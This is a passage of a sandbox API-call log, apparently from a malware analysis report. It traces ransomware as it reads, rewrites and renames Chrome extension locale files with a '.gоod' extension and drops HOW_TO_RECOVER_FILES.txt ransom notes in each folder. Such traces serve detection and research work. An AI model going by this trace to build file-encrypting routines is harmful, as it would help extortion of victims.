Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json", lpFilePart=0x0) returned 0x89 [0232.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0232.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.184] GetFileType (hFile=0x630) returned 0x1 [0232.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0232.184] GetFileType (hFile=0x630) returned 0x1 [0232.184] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xcf [0232.184] ReadFile (in: hFile=0x630, lpBuffer=0x37c4870, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x37c4870*, lpNumberOfBytesRead=0x209ebc98*=0xcf, lpOverlapped=0x0) returned 1 [0232.185] CloseHandle (hObject=0x630) returned 1 [0232.355] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json", lpFilePart=0x0) returned 0x89 [0232.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0232.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.357] GetFileType (hFile=0x630) returned 0x1 [0232.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0232.357] GetFileType (hFile=0x630) returned 0x1 [0232.357] WriteFile (in: hFile=0x630, lpBuffer=0x372d578*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x372d578*, lpNumberOfBytesWritten=0x209ebba8*=0xd0, lpOverlapped=0x0) returned 1 [0232.357] CloseHandle (hObject=0x630) returned 1 [0232.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json", lpFilePart=0x0) returned 0x89 [0232.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0232.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0232.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82e07b4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82e0792, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x86b5e906, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0232.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0232.358] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json.gоod")) returned 1 [0232.359] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0232.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0232.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0232.359] GetFileType (hFile=0x630) returned 0x1 [0232.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0232.359] GetFileType (hFile=0x630) returned 0x1 [0232.360] WriteFile (in: hFile=0x630, lpBuffer=0x3730eb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3730eb0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0232.361] CloseHandle (hObject=0x630) returned 1 [0232.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0232.361] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs", lpFilePart=0x0) returned 0x7b [0232.361] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82e7ce6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef21b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82ef21b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0232.361] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82e7ce6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef21b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82ef21b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.361] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82ef21b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef1f2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0232.362] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0232.362] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0232.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0232.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0232.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0232.362] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs", lpFilePart=0x0) returned 0x7b [0232.362] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82e7ce6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef21b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82ef21b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0232.362] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82e7ce6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef21b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82ef21b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.362] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82ef21b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef1f2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0232.362] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82ef21b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef1f2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0232.363] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0232.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0232.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0232.363] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json", lpFilePart=0x0) returned 0x89 [0232.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0232.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3740e80 | out: lpFileInformation=0x3740e80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82ef21b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef1f2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xad)) returned 1 [0232.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0232.363] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json", lpFilePart=0x0) returned 0x89 [0232.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0232.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.363] GetFileType (hFile=0x630) returned 0x1 [0232.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0232.363] GetFileType (hFile=0x630) returned 0x1 [0232.363] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xad [0232.363] ReadFile (in: hFile=0x630, lpBuffer=0x37412e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x37412e8*, lpNumberOfBytesRead=0x209ebc98*=0xad, lpOverlapped=0x0) returned 1 [0232.364] CloseHandle (hObject=0x630) returned 1 [0232.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json", lpFilePart=0x0) returned 0x89 [0232.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0232.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.392] GetFileType (hFile=0x630) returned 0x1 [0232.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0232.392] GetFileType (hFile=0x630) returned 0x1 [0232.392] WriteFile (in: hFile=0x630, lpBuffer=0x37b9a48*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x37b9a48*, lpNumberOfBytesWritten=0x209ebba8*=0xb0, lpOverlapped=0x0) returned 1 [0232.393] CloseHandle (hObject=0x630) returned 1 [0232.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json", lpFilePart=0x0) returned 0x89 [0232.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0232.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0232.393] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82ef21b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82ef1f2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x86baad8f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0232.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0232.393] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json.gоod")) returned 1 [0232.394] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0232.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0232.394] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0233.857] GetFileType (hFile=0x834) returned 0x1 [0233.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0233.857] GetFileType (hFile=0x834) returned 0x1 [0233.899] WriteFile (in: hFile=0x834, lpBuffer=0x3972b38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3972b38*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0233.900] CloseHandle (hObject=0x834) returned 1 [0233.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0233.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da", lpFilePart=0x0) returned 0x7b [0233.901] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82f8e1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe830037f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe830037f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0233.901] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe82f8e1f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe830037f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe830037f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.901] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe830037f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8300362, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0233.901] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0233.901] FindClose (in: 